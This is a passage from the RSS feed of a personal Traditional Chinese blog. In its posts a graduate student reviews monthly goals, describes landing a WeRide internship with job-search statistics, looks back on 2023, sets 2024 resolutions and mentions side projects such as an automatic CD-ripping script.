<p>唯一的問題大概就是有的時候禮拜四可能會有其他行程，或是某一天比較有空，然後就會把這個行程改到禮拜五，然後當天才想到 <abbr title="Cloud Computing">CC</abbr> 有 Quiz 要寫<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> QQQQQ</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-完成-2023-回顧--2024-展望文" class="relative group">✅ 完成 2023 回顧 + 2024 展望文 </h3><p>兩篇文都在 Lecture Thursday 完成了，雖然已經盡力多花一點心思在構思內容了，但其實我自己對最後的成果不是非常的滿意。也許這也有點印證了我裡面有提到的一點——寫作應該要及時，讓想法盡快落筆。</p>
<p>Anyway 反正最後還是整理思緒寫出來了，有興趣的話不妨去看看吧：</p>
<ul>
<li><a href="/zh-tw/posts/2023-year-in-review/">2023 回顧</a></li>
<li><a href="/zh-tw/posts/2024-outlooks/">2024 展望</a></li>
</ul>
<h3 id="-看完-絕命毒師第一季" class="relative group">✅ 看完 《絕命毒師》第一季 </h3><p>目前進度大概到第二季快一半。原本想說前面都有點歹戲拖棚，特別是每次看到 Skyler 就很想快轉，我就想看他們搞冰毒，到底誰在乎她的美國媽媽毛病。</p>
<p>但還好結尾很屌，讓我又有動力可以繼續往第二季看下去。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-february-dump/this-is-not-meth.png"
      class="mx-auto my-0 rounded-md"
      alt="海森堡拿著不是冰毒的結晶"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">題外話，Walter 剃完頭髮簡直跟我爸長超像，決定以後都叫我爸文山海森堡</figcaption>
</figure>
</p>
<h3 id="-laundry-run" class="relative group">✅ Laundry Run </h3><p>除了我的 Laundry 週期正在漸漸拉長之外，其他似乎沒什麼毛病，而且 25 分鐘的跑步感覺還挺不錯的，是一個強度蠻適中的長度 👍🏻</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ul>
<li>一週一文：假設繼續延續 Lecture Thursday，理論上這應該不會太難，唯一的變數是下個 Mini 課表又會有些微的變動<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>，要怎麼調整可能還要再觀察觀察 🤔</li>
<li>多拍些照片：最近都到寫報報的時候才發現照片好少好難挑，幫下個月的自己解個任務</li>
<li>一週一料理：發現這學期自己下廚的時間少了很多，跟 HW 下廚的時候我也都在瞎忙，廚藝似乎有退步的跡象，再這樣下去真的是不行欸</li>
</ul>
<h2 id="-上岸啦" class="relative group">⚓️ 上岸啦 </h2><p>通常我不太喜歡在這麼私人的領域提及我工作相關的事情，但世俗的好消息還是值得著墨一下。</p>
<p>經歷了 8 個多月的找工作奮戰，終於在這個月錄取了 WeRide ——一家中國的自駕車新創。今年 5 月底開始會在 San Jose 實體實習 3 個月一路到暑假結束。</p>
<p>身為一位稱職的資工系學生兼數據控 (X)，分享一下我個人今年找工作所收集的各項數據：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>第一封實習申請</td>
          <td>2023/6/12 (Day 1)</td>
      </tr>
      <tr>
          <td>拿到 Offer</td>
          <td>2024/2/14 (Day 248)</td>
      </tr>
      <tr>
          <td>列入考慮申請的職缺數</td>
          <td>1117</td>
      </tr>
      <tr>
          <td>實際總申請職缺數</td>
          <td>475</td>
      </tr>
      <tr>
          <td>未錄取</td>
          <td>216</td>
      </tr>
      <tr>
          <td>(還) 未收到回覆</td>
          <td>259</td>
      </tr>
      <tr>
          <td><abbr title="Online Assessment">OA</abbr><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></td>
          <td>26</td>
      </tr>
      <tr>
          <td>HR Phone</td>
          <td>2</td>
      </tr>
      <tr>
          <td>Technical Interview</td>
          <td>4</td>
      </tr>
      <tr>
          <td>LeetCode</td>
          <td>268</td>
      </tr>
      <tr>
          <td>Mock Interview</td>
          <td>6</td>
      </tr>
      <tr>
          <td>Workday 帳號</td>
          <td>38</td>
      </tr>
  </tbody>
</table>
<p>客觀來說，各種跡象跟數據都顯示，今年美國軟體工程師的求職狀況還是非常嚴峻，裁員潮還沒有完全退去，能被我撈到一個缺，已經十分難得。</p>
<p>但簽下這份 offer 還是苦苦掙扎了好一陣子，甚至比沒面試時還難以消化。一方面是覺得對這份 offer (或者說公司) 並不是到非常的滿意，另一方面也是自己把目標放在更遙遠的地方。第六感甚至告訴我，即便手上沒有其他牌了，我也不應該屈就有任何一絲妥協的選項。</p>
<p>但這份 offer 終究是簽了，接下來也不太可能會有其他意外。說後悔嗎，也許一半一半，但現在下定論似乎還太早了。</p>
<p>希望事後回頭來看的時候，時間和現實會證明我是錯的，但即使是到現在，我依然相信就業市場會在暑假之前釜底抽薪，解救眾生。</p>
<p>祝還在找工作的人不要氣餒，繼續加油！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>說「正式」是因為那年的年夜飯是巷口賣的 Pain au Chocolat 配 Picard 的微波菠菜鮭魚義大利麵：）&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>CC 全名 Cloud Computing，雲端運算，是我這學期修的一門課，每個禮拜五都會有線上小考要寫。含複習的話全部做完大約需要 1 ~ 3 小時不等的時間。比較靠背的是因為這門課是全線上，所以小考的的存在感很低，很容易就不小心忘記寫：）&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>關於什麼是 Mini 可以參考<a href="/zh-tw/posts/2023-september-dump/#-開學">之前的報報</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>通常是在時間限制內完成一定數量的 <abbr title="演算法">Algorithm</abbr> 測驗題目，有的時候也會有數學、統計選擇題、<abbr title="資料庫">SQL</abbr>、<abbr title="系統設計">System Design</abbr>、或是 <abbr title="網頁設計">Frontend</abbr> 實作等等。這裡只計算技術測驗，不包含 Behavioral 或其他怪怪的測驗。&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-february-dump</guid><pubDate>Tue, 05 Mar 2024 03:15:50 -0500</pubDate></item><item><title>2023 回顧</title><link>https://blog.tomy.me/zh-tw/posts/2023-year-in-review/</link><description/><content:encoded><![CDATA[<p>這篇文好像早就該發了，但不知道為什麼 2023 的最後幾天有點小 Emo 似乎不太適合寫文章，怕會繼續壞一整年。</p>
<p>但遲來總比沒來好，那就開始吧！</p>
<h2 id="今年幹了些啥" class="relative group">今年幹了些啥 </h2><ul>
<li>1 ~ 3 月：發射申請研究所的資料，開始籌備這個部落格</li>
<li>4 ~ 5 月：去<a href="/zh-tw/posts/bangkok/">泰國</a>、<a href="/zh-tw/posts/saigon/">越南</a>度假</li>
<li>6 ~ 7 月：享受在台灣最後的日子、修修履歷、刷刷 LeetCode</li>
<li>8 月：登陸美國、安定匹茲堡</li>
<li>9 ~ 11 月：CMU MSE 第一個學期、秋假去個波士頓</li>
<li>12 月：期末收工後開始<a href="/zh-tw/posts/2023-december-dump/#-返台飛行日誌">亞洲巡迴</a> (X)，然後回台灣過寒假</li>
</ul>
<p>嗯&hellip;好像放假放的有點猖狂 😂 而且時間的安排總是大起大落的，要不是忙到一天有 30 個小時，就是閒到開始胡思亂想寫垃圾 project 和垃圾 blog (?)</p>
<p>原本好像應該在這裡回顧一下每個月做了啥，發現咦這不就是報報的功能嗎 XDDD 話說雖然這個部落格在 4 月才發布，但其實從 1 月就有報報囉，那有興趣的就<a href="/zh-tw/series/%E6%AF%8F%E6%9C%88%E5%A0%B1%E5%A0%B1/">自行移駕</a>啦！</p>
<p>精選一些其他不是報報的文章放在這裡，有興趣的也可以翻翻：</p>
<ul>
<li><a href="/zh-tw/posts/yubikey/">Yubikey 硬體金鑰開箱</a></li>
<li>申請美國碩士心得：<a href="/zh-tw/posts/mscs-applying-reflection-i/">上</a> + <a href="/zh-tw/posts/mscs-applying-reflection-ii/">下</a></li>
<li><a href="%28/zh-tw/series/web-apps-101/%29">Web Apps 系列文</a></li>
</ul>
<h2 id="-去年の願望" class="relative group">🕯 去年の願望 </h2><p>閱讀跟寫作在今年的展望文裡面已經有寫了，這裡就不再贅述。</p>
<h3 id="-攝影" class="relative group">📸 攝影 </h3><p>原本的計畫是搶 Canon R8 上市的第一批，然後去泰國和越南旅行的時候馬上可以上手密集的測試跟練習。可惜人算不如天算，雖然新機照預期在 2 月發表，但台灣要等到 4 月中下旬才會到第一批貨。回台灣之後剛好 CMU 的 15-513 先修課也開始了，掐指一算發現，我應該畢業前沒有太多的時間可以到處亂跑拍照，那還不如把這筆錢省下來，等到畢業之後理論上同樣的價格會有更多更好的選項。</p>
<h3 id="-重視短期目標" class="relative group">🎯 重視短期目標 </h3><p>雖然寫報報是後來才有的想法，但這似乎意外適合用來追蹤短期目標。事後來看，倒也未必要靠寫部落格才能達到這個目的，步驟其實很簡單：</p>
<ol>
<li>把時間空出來回顧最近在做的事</li>
<li>提醒自己原本的目標是什麼</li>
<li>把自己從其他不重要的 bullshit 解救出來 (比方說某比賽(??????<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
</ol>
<p>這樣做有什麼好處？</p>
<ul>
<li>可以把更多時間用在做我真正想做的事情上
<ul>
<li>匹克球、瑜珈、跑步、煮飯、寫想寫的 Side Projects、旅行、研究可以去哪裡旅行</li>
</ul>
</li>
<li>可以更不在乎很多不關我的事
<ul>
<li>反正要不真的沒這麼重要、要不沒人在乎，像是學校大部分的作業</li>
</ul>
</li>
<li>會多出更多閒暇的時間去讓腦袋去意識和思考寓意深遠的問題
<ul>
<li>好啦也許我有一些毛病，所以才會有這種需求</li>
<li>但我認為享有這種「悠閒」的特權，是一種「價值觀從主流意識的道德綁架中解脫」的一種體現</li>
</ul>
</li>
</ul>
<hr>
<p>總而言之，看著自己達成了更多階段性的目標還是挺有成就感</p>
<p>關於新的一年就留到<a href="/zh-tw/posts/2024-outlooks/">另外一篇</a>囉</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>好啦其實這比賽不是真的不重要，也不是 bullshit，是我對他抱持著錯誤的想像，我以後絕不在不清楚全貌的情況下亂開支票：）謹此警戒&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-year-in-review</guid><pubDate>Fri, 23 Feb 2024 00:58:13 -0500</pubDate></item><item><title>2024 展望</title><link>https://blog.tomy.me/zh-tw/posts/2024-outlooks/</link><description>The Show Must Go On</description><content:encoded><![CDATA[<blockquote
      class="text-post-media"
      data-text-post-permalink="https://www.threads.net/@incrediville_tw/post/C2RBwtrSOib"
      data-text-post-version="0"
      id="ig-tp-C2RBwtrSOib"
      style="
        background: #fff;
        border-width: 1px;
        border-style: solid;
        border-color: #00000026;
        border-radius: 16px;
        max-width: 540px;
        margin: 1px;
        min-width: 270px;
        padding: 0;
        width: 99.375%;
        width: -webkit-calc(100% - 2px);
        width: calc(100% - 2px);
      "
    >
      <a
        href="https://www.threads.net/@incrediville_tw/post/C2RBwtrSOib"
        style="
          background: #ffffff;
          line-height: 0;
          padding: 0 0;
          text-align: center;
          text-decoration: none;
          width: 100%;
          font-family: -apple-system, BlinkMacSystemFont, sans-serif;
        "
        target="_blank"
      >
        <div
          style="
            padding: 40px;
            display: flex;
            flex-direction: column;
            align-items: center;
          "
        >
          <div
            style="display: block; height: 32px; width: 32px; padding-bottom: 20px"
          >
            <svg
              aria-label="Threads"
              height="32px"
              role="img"
              viewBox="0 0 192 192"
              width="32px"
              xmlns="http://www.w3.org/2000/svg"
            >
              <path
                d="M141.537 88.9883C140.71 88.5919 139.87 88.2104 139.019 87.8451C137.537 60.5382 122.616 44.905 97.5619 44.745C97.4484 44.7443 97.3355 44.7443 97.222 44.7443C82.2364 44.7443 69.7731 51.1409 62.102 62.7807L75.881 72.2328C81.6116 63.5383 90.6052 61.6848 97.2286 61.6848C97.3051 61.6848 97.3819 61.6848 97.4576 61.6855C105.707 61.7381 111.932 64.1366 115.961 68.814C118.893 72.2193 120.854 76.925 121.825 82.8638C114.511 81.6207 106.601 81.2385 98.145 81.7233C74.3247 83.0954 59.0111 96.9879 60.0396 116.292C60.5615 126.084 65.4397 134.508 73.775 140.011C80.8224 144.663 89.899 146.938 99.3323 146.423C111.79 145.74 121.563 140.987 128.381 132.296C133.559 125.696 136.834 117.143 138.28 106.366C144.217 109.949 148.617 114.664 151.047 120.332C155.179 129.967 155.42 145.8 142.501 158.708C131.182 170.016 117.576 174.908 97.0135 175.059C74.2042 174.89 56.9538 167.575 45.7381 153.317C35.2355 139.966 29.8077 120.682 29.6052 96C29.8077 71.3178 35.2355 52.0336 45.7381 38.6827C56.9538 24.4249 74.2039 17.11 97.0132 16.9405C119.988 17.1113 137.539 24.4614 149.184 38.788C154.894 45.8136 159.199 54.6488 162.037 64.9503L178.184 60.6422C174.744 47.9622 169.331 37.0357 161.965 27.974C147.036 9.60668 125.202 0.195148 97.0695 0H96.9569C68.8816 0.19447 47.2921 9.6418 32.7883 28.0793C19.8819 44.4864 13.2244 67.3157 13.0007 95.9325L13 96L13.0007 96.0675C13.2244 124.684 19.8819 147.514 32.7883 163.921C47.2921 182.358 68.8816 191.806 96.9569 192H97.0695C122.03 191.827 139.624 185.292 154.118 170.811C173.081 151.866 172.51 128.119 166.26 113.541C161.776 103.087 153.227 94.5962 141.537 88.9883ZM98.4405 129.507C88.0005 130.095 77.1544 125.409 76.6196 115.372C76.2232 107.93 81.9158 99.626 99.0812 98.6368C101.047 98.5234 102.976 98.468 104.871 98.468C111.106 98.468 116.939 99.0737 122.242 100.233C120.264 124.935 108.662 128.946 98.4405 129.507Z"
              />
            </svg>
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #999999;
              font-weight: 400;
              padding-bottom: 4px;
            "
          >
            Post by @incrediville_tw
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #000000;
              font-weight: 600;
            "
          >
            View on Threads
          </div>
        </div></a
      >
    </blockquote>
    
    <script async src="https://www.threads.net/embed.js"></script>
<figcaption class="text-center">別人：在新年第一天立下計畫，然後撐 19 天<br/>我：在新年第 47 天才計畫 🕺🏻</figcaption>
<p>好啦其實我去年放假搭飛機回台灣的時候就已經差不多想好今年的目標是什麼了，只是拖到現在才把草稿整理成文章而已，應該還算過的去吧 ¯\_(ツ)_/¯</p>
<h2 id="-寫作" class="relative group">✍🏻 寫作 </h2><p>以去年的經驗來說，我覺得我算是有培養出寫部落格的興趣，而且大部分時間還挺享受這個過程的。甚至說有點太享受，以致於如果我現在覺得我的心情不夠放鬆，或是時間不夠長到可以「盡情的」享受這段時光，那我會寧可把時間拿去做別的事，導致我接近年末的時候除了報報之外沒有寫什麼其他的文章，有點本末倒置。</p>
<p>今年寫部落格的目標是短而簡潔——不求精緻，但讓每個值得的新想法有個歸宿。</p>
<h2 id="閱讀" class="relative group">📚閱讀 </h2><p>閱讀跟寫作有異曲同工之妙，我喜歡帶書出門看，比方說搭車、搭飛機、沙灘旁邊、某間星巴克窗邊之類的，但開學之後這種愜意的時間和環境都少了很多。我有嘗試過把書放在床頭，然後期待睡前會隨意翻個幾頁，但效果似乎就是不太好，要不是沒看多少就想睡，不然就是很難沉入故事的氛圍，只是平平的把文字掃過去。</p>
<p>要怎麼讓閱讀融入日常生活的循環，會是今年要多花心思的重點</p>
<h2 id="-context-switching" class="relative group">🔄 Context Switching </h2><p>大學待在實驗室兩年學會的其中一個技巧，就是不要一口氣花太多時間硬幹某件事。經濟學稱之為邊際效用遞減，投入的時間越高，單位時間的產出會大幅下降。</p>
<p>常見解決方法有兩種：</p>
<ol>
<li>去放假</li>
<li>把不同性質的事情混著做：就像幫大腦重新開機一樣，清掉一些不重要的垃圾，運行效率就會提高。</li>
</ol>
<p>而困難的地方就在於，在切換不同事情的時候，我經常會多浪費掉很多時間，這些時間可能是突然覺得好像可以來休息一下，上個廁所、滑個手機，又或是要開始做新的事情要先把前一件事情的殘局收拾好、重新把桌上佈滿接下來要處理的東西、回想上次處理到哪裡，然後思考要從哪裡繼續。</p>
<p>於是當這個阻力一形成，即便我意識到現在也許該休息一下，或是換一件事做，也會因為心有餘而力不足而選擇繼續停滯在前一件事情上。</p>
<p>話說想想也發現，那些忙到不行的主管或大老闆不可能親力親為每一件小事，但他們厲害的地方就是可以在很短的時間內進入狀況，然後快速做出決策。</p>
<p>今年感覺可以朝這個方向訓練自己的大腦 🤔</p>
<h2 id="-更認真的-珍惜身邊的緣分" class="relative group">🫶🏻 (更認真的) 珍惜身邊的緣分 </h2><p>應該是在大一還是大二的時候發現的：大三之後同學之間的聯繫會變得鬆散，交集減少。同樣的狀況也適用於高中甚至更久之前的那些，可能曾經非常好的朋友。事後來看，還蠻慶幸當時的自己有意識的去維繫這些緣分的。</p>
<p>但最近跟很多人吃飯的時候，心裡開始浮現出矛盾 (甚至有點愧疚)的感覺：明明之前跟人家在各方面有很多交集，但都沒用點心過，為什麼非得要等到現實生活已經沒有交集了，才開始重視這段關係。</p>
<p>實務上來說，我開始體會到日常的那些 small talk 雖然是美國文化很重要的一環，但其實回頭套用在台灣的人際關係上也是如此，友誼這種東西就是靠這些分享日常瑣事多年去搭建起來的，而作為一個 I 人，我在台灣遇到認識的人要打招呼都需要至少 3~5 秒的<del>遇襲</del>預習準備，來美國動不動轉個彎就是 Hey, how&rsquo;s it goin&rsquo;，我人真的是要沒了</p>
<p>另外一個我最近觀察到我的毛病，就是我不太會把朋友介紹給朋友認識，這是我成長背景所沒有經歷的場景。我從國小一路到大學，交友圈要嘛高度重疊，不然就是零相關，我也從來沒有想過，要把不同時期的朋友喇在一起，以致於我現在如果要突然做這件事，會有點手足無措，甚至覺得如果他們倆合不來，我要付上某些責任。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p><small>靠背我是怎麼寫到這麼奇怪的地方的，這樣要怎麼結論</small></p>
<p>結論：如果看到我腦袋當機，請包容我的內心小劇場還沒演完。我會儘量讓我的腦子 v.2025 可以提升處理這種人際問題的 robustness<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h2 id="-再慢一點" class="relative group">🐌 再慢一點 </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-outlooks/crying-is-not-an-emergency.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="此遊樂設施只會在緊急情況下停止，哭不是緊急情況"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">這遊樂設施根本我目前的人生寫照</figcaption>
  </figure>


<p>記得我曾跟我爹娘這麼說：</p>
<blockquote>
<p>我的國小 6 年時光體感大約是 10 年</p>
<p>國中 3 年體感 5 年</p>
<p>高中 3 年體感 1 年</p>
<p>大學 5 年體感 1 年</p>
</blockquote>
<p>現在到了研究所，生活似乎還在加速。寫部落格跟其他消遣是我目前少數可以放慢生活的手段。但也是在這些時光走慢了的片刻，才又能體會生命活著、漫長而悠遠的感覺。</p>
<p>期許 2024 依然能夠珍惜、體會人生的種種時光。</p>
<hr>
<p>寫在最後：I came to US for a purpose, I came to Earth for a purpose</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>好啦寫完這段的當下，我也意識到這個想法其實挺蠢的：）&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>對不起我在中文找不到對應的詞來形容，「魯棒性」我真的是不行&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-outlooks</guid><pubDate>Thu, 15 Feb 2024 17:08:42 -0500</pubDate></item><item><title>2024 年 1 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-january-dump/</link><description>CMU 第二季要開始辣</description><content:encoded><![CDATA[<p>2023 回顧 + 2024 展望之後再補，每月報報不能再遲到ㄌ</p>
<h2 id="-leetcode" class="relative group">⌨️ LeetCode </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/leetcode-2024-jan.png"
      class="rounded-md max-h-96 mx-auto"
      alt="2024 年 1 月每日挑戰徽章"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">2024 年 1 月每日挑戰徽章</figcaption>
  </figure>


<p>其實不是很重要，只是想<del>炫耀</del> <del>自嗨</del> 報告一下我這個月除了有一天來不及沒寫到用了 Time Travel Ticket 之外，每天的 Daily Challenge 我都有寫完！我好棒！</p>
<h2 id="-docs---我的生活指南" class="relative group">📑 Docs - 我的生活指南 </h2><p>不管是寫 code 還是生活，面對各種雜事總是有許多小撇步跟 SOP，不如就把他們寫下來吧！</p>
<p>原本的計畫是把這些生活經驗通通寫成部落格的文章，但後來想想覺得這樣要搜尋和使用的時候感覺不是很好找，所以想說不如另外開一個網站專門來放這些資訊。</p>
<p>所以就，搭啦—— <a href="https://docs.tomy.me" target="_blank" rel="noreferrer">Tomy&rsquo;s Docs<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>其實這個東西已經開起來好久了，但為了搜尋的功能要申請 Algolia 的 API key 被卡有點久，終於在寒假幾封 email 來回之後弄好了，現在也漸漸有一些頁面上線。</p>
<p>目前有的頁面，包含了像是<a href="https://docs.tomy.me/misc/finance/international-wire" target="_blank" rel="noreferrer">國際匯款的資訊<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，或是寫 code 架環境需要的各種 <a href="https://docs.tomy.me/package-managers/glossary/" target="_blank" rel="noreferrer">Package Manager<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的指令。總之我也不太確定未來會放些什麼，但是如果你有找到用的到的東西，都歡迎把它加進書籤 (?)</p>
<h2 id="-autorip-" class="relative group">💿 AutoRip 📀 </h2><p>我一直有在收藏 CD，從我 10 歲買了第一張 CD 之後，我幾乎每個月都會有固定一筆錢是用來買我最近常聽的專輯的 CD&hellip;&hellip;直到去年來美國之後就暫停了。就算台灣還是有很多我想買的 CD，但是聽不到的話似乎也沒什麼意義&hellip;&hellip;</p>
<p>於是這趟回台灣，我把家裡舊的電腦改裝成伺服器，然後寫了一個新的 Project —— <a href="https://github.com/tomy0000000/autorip" target="_blank" rel="noreferrer">AutoRip<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>其實就只一個短短的 script，就是當有 CD 放入伺服器的時候，他會自動把裡面的音樂轉成無損壓縮的 FLAC 格式，然後上傳到我的 Dropbox 資料夾，然後把 CD 退出來。</p>
<p>所以現在不管我人在哪裡，都可以自己在網路上下單買新的 CD，然後在家裡的群組呼叫我爹娘幫我收貨、把 CD 放進 server，然後我就可以在美國把檔案載下來整理進音樂資料庫。全自動，好舒服 (˘▽˘&gt;</p>
<h2 id="-投完票馬上高歌離席--ᕕᐛᕗ" class="relative group">🗳️ 投完票馬上高歌離席 ♪~ ᕕ(ᐛ)ᕗ </h2><p>按照慣例有把這次投票的心得<a href="/zh-tw/posts/2024-election/">寫起來</a>。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/vote-stamp-on-thumb.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="投票章蓋在拇指上，背景是停機坪"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/pittsburgh-in-snow.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="匹茲堡被大雪覆蓋"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>因為美國這邊 1/16 就要開學了，所以當天投完票我就直接前往機場飛回來了。</p>
<h2 id="-本月-上個月-目標回顧" class="relative group">🎯 本月 (+上個月) 目標回顧 </h2><h3 id="-修履歷" class="relative group">✅ 修履歷 </h3><p>回來總算是把履歷有再重新整理了一次。</p>
<p>內容的部分，有重新順過要怎麼寫，比較容易看得懂，面試的時候也比較可以順著小標去講；版面也做了很多調整，像是用分隔線讓段落之間的界線更清晰、從 A4 轉成 US Letter、還有調整行間距和文字的大小等等。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/cv-old.png"
      class="mx-auto my-0 rounded-md mx-1"
      alt="舊版履歷"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/cv-new.png"
      class="mx-auto my-0 rounded-md mx-1"
      alt="新版履歷"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">👈🏻 舊的 新的 👉🏻<br>應該看起來是有更清晰一點吧 嗎</figcaption>

<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/cv-vmock.png"
      class="mx-auto my-0 rounded-md"
      alt="VMock 履歷評分截圖：94 分"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">最後丟到 VMock 上的分數高達 94 分呢：）</figcaption>
</figure>
</p>
